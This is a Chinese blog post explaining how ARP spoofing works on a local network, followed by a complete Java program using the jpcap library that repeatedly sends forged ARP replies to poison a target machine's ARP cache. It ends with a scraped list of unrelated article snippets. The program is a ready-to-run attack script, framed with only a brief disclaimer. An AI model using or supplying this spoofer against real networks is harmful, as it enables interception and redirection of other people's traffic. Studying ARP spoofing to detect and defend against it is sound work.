java arp 攻击_用JAVA代码实现ARP攻击 | 学步园
ARP攻击原理
一台电脑通过网络访问另一台电脑的时候,在数据链路层需要知道对方的MAC地址进行真正的物理通信.
而电脑上的应用程序通常都是根据另一台电脑的IP地址来和对方建立通信,这时候就需要有一个协议将
IP地址解析到MAC地址,这就是ARP协议.
而ARP具体过程就是当需要通过IP获取一个远端的的MAC地址的时候,系统会首先检查ARP表中
是否存在对应的IP地址,如果没有,则发送一个ARP广播,当某一个拥有这个MAC地址的节点
收到ARP请求的时候,会创建一个ARP reply包,并发送到ARP请求的源节点,
ARP Reply包中就包含了目的地节点的MAC地址,在源节点接受到这个reply后,
会将目的地节点的MAC地址保存在ARP缓存表中,下一次再次请求同一 IP地址的时候,
系统将会从ARP表中直接获取目的地MAC地址,而不需要再次发送ARP广播。
用ping命令举例来说, 在机器A,比如说IP是192.168.1.2中发出下面的ping命令:
ping 192.168.1.3,如果192.168.1.3这个MAC地址在机器A的ARP缓存表中不存在,这时候
机器A就会发送一个ARP广播,当192.168.1.3接到广播后,会给机器A回一个
ARP Reply包,其中包含了192.168.1.3的MAC地址,这是正常的ARP过程.
假设IP--MAC的对应关系为(192.168.1.3--00-1C-23-2E-A7-0E)
但是局域网内的其他机器也可向机器A发一个假的IP--MAC对应关系ARP Reply包,
机器A接收到这个假的包后同样会更新自己的ARP缓存表.假设发送的为
(192.168.1.3--00-1C-23-2E-A7-0A,0A实际上为192.168.1.4的MAC地址)
那么机器A再通过IP往192.168.1.3发送数据的时候,实际上却发到了192.168.1.4这台机器.
这样就到达了ARP攻击或者叫做ARP欺骗.ARP攻击只能发生在局域网内.
本文旨在举例说明ARP攻击的原理,希望看官们不要用来恶作剧你局域网的其他机器,要不你的网管很快就会面谈你滴...
下面用JAVA代码模拟一下上面说到的ARP欺骗.
192.168.1.4将一个192.168.1.3的假的MAC地址发给 192.168.1.2.
需要用到jpcap.jar,可以从http://netresearch.ics.uci.edu/kfujii/Jpcap/doc/download.html下载.package com.test.arp;
import java.net.InetAddress;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
public class SendFakeARP {
static byte[] stomac(String s) {
byte[] mac = new byte[] { (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00 };
String[] s1 = s.split("-");
for (int x = 0; x < s1.length; x++) {
mac[x] = (byte) ((Integer.parseInt(s1[x], 16)) & 0xff);
}
return mac;
}
public static void main(String[] args) throws Exception {
int time = 2; // 重发间隔时间
InetAddress desip = InetAddress.getByName("192.168.1.2");// 被欺骗的目标IP地址
byte[] desmac = stomac("00-1c-23-3c-41-7f");// 被欺骗的目标目标MAC数组
InetAddress srcip = InetAddress.getByName("192.168.1.3");// 源IP地址
byte[] srcmac = stomac("00-1C-23-2E-A7-0A"); // 假的MAC数组
// 枚举网卡并打开设备
NetworkInterface[] devices = JpcapCaptor.getDeviceList();
NetworkInterface device = devices[1];
JpcapSender sender = JpcapSender.openDevice(device);
// 设置ARP包
ARPPacket arp = new ARPPacket();
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype = ARPPacket.PROTOTYPE_IP;
arp.operation = ARPPacket.ARP_REPLY;
arp.hlen = 6;
arp.plen = 4;
arp.sender_hardaddr = srcmac;
arp.sender_protoaddr = srcip.getAddress();
arp.target_hardaddr = desmac;
arp.target_protoaddr = desip.getAddress();
// 设置DLC帧
EthernetPacket ether = new EthernetPacket();
ether.frametype = EthernetPacket.ETHERTYPE_ARP;
ether.src_mac = srcmac;
ether.dst_mac = desmac;
arp.datalink = ether;
// 发送ARP应答包
while (true) {
System.out.println("sending arp..");
sender.sendPacket(arp);
Thread.sleep(time * 1000);
}
}
}
java arp 攻击_用JAVA代码实现ARP攻击 | 学步园相关推荐
- java web源代码_检测Java Web应用程序而无需修改其源代码
java web源代码 与其他系统进行交互时,大多数Java Web应用程序都使用标准Java接口. 诸如Web页面或REST服务器之类的基于HTTP的服务是使用接口javax.servlet.Ser ...
- java main函数_一行JAVA代码如何运行起来?
在程序员的世界中,你总会听到一句"PHP是世界上最好的语言"的调侃.然而在你进入软件程序开发之后,你会发现即使开发语言千千万,最盛行的还是JAVA.从淘宝的技术变迁中我们可以见一些 ...
- java检测工具_常用Java代码质量检测评估工具
常用Java代码质量检测评估工具 1. PMD from http://pmd.sourceforge.net/ PMD能够扫描Java 源代码,查找类似以下的潜在问题: 可能的bug--try/ca ...
- JAVA爬电信_基于JAVA的电信基站接口调用代码实例
代码描述:基于JAVA的电信基站接口调用代码实例 关联数据:电信基站 接口地址:http://www.juhe.cn/docs/api/id/16 1.[代码][Java]代码 import java ...
- java关闭端口_使用java代码关闭指定端口的程序-windows
转载请请在页首注明作者与出处 一:问题由史 今天遇到一个问题,就是在实现自动化灾备的时候,发现原有死掉的程序没有完全关闭,当然这都不是本文的重点,重点是这个时候,我得把它完全关闭,所以才有了这篇文章. ...
- java画乌龟_用java代码画乌龟,还要能让它爬。
2016-03-18 回答 import java.awt.borderlayout; import java.awt.color; import java.awt.dimension; import ...
- java 流量攻击_如何防御网站被ddos攻击 首先要了解什么是流量攻击
什么是DDOS流量攻击?我们大多数人第一眼看到这个DDOS就觉得是英文的,有点难度,毕竟是国外的,其实简单通俗来讲,DDOS攻击是利用带宽的流量来攻击服务器以及网站. 举个例子,服务器目前带宽是100 ...
- java 包命名_【Java】包的命名规则
命名规范 包:所有单词的字母小写,之后每个单词用-隔开,如 org.nemo.demo 常量:所有单词的字母大写,之后每个单词用_隔开,如 FLAG 类:所有单词的首字母大写,如 TestJava p ...
- java 图片效果_使用Java进行图片底片化效果处理
使用java代码读取图片,并进行底片化处理 util importjava.awt.image.BufferedImage;importjava.io.File;importjava.util.Arr ...
最新文章
- 2018.3.23 13周5次课
- Mysql学习总结(14)——Mysql主从复制配置
- js轮播图片小圆点变化_原生js实现轮播图(两种方法)
- 类中定义自身类的对象
- 原来历史人物的英文名竟然叫这些,太好笑了吧哈哈哈哈哈
- 小米入住华为鸿蒙,华为鸿蒙开放,国产厂商集体失声?小米率先表态!
- MyEclipse 2014下搭建Android开发环境
- TextView IME option
- 居家隔离的第5天,我们整了个六边形战士
- Python3对IP进行查询
- IT兄弟连 JavaWeb教程 Servlet 状态管理 会话跟踪
- 20191110每日一句
- ZigBee-CC2530单片机 - 实现软件自动复位
- 计算机考试二级搜题软件,计算机二级搜题库-可以帮助计算机二级备考生进行备考的刷题软件...
- harmonyos bate,HarmonyOS 生态最重的拼图,手机开发者 Beta 版终于到来
- “站在巨人的肩膀上”
- 牛客——小a与星际探索
- Android 麦克风录音动画
- SpringBoot 事务管理
- mongodb用哪些端口号_mongodb端口号(mongodb默认端口号)
热门文章
- php stortime,文件存储 | 综合话题 | Laravel 5.3 中文文档
- apache camel 相关配置_Apache Camel的Java编程入门指南
- QPainter 的状态保存与恢复
- Android开发面试题之求一个数的N次幂手写算法
- Android开发之百度地图在地图上绘画圆的方法(官方方法)
- geth 转账_以太坊1 - 私有链部署、挖矿、转账
- java反射减少servlet_利用java 反射机制来实现一个servlet处理多种请求
- Xcode6中如何对scrollview进行自动布局(autolayout)
- 堆内存破坏检测实战--附完整调试过程
- App-V 4.6中文版首测体验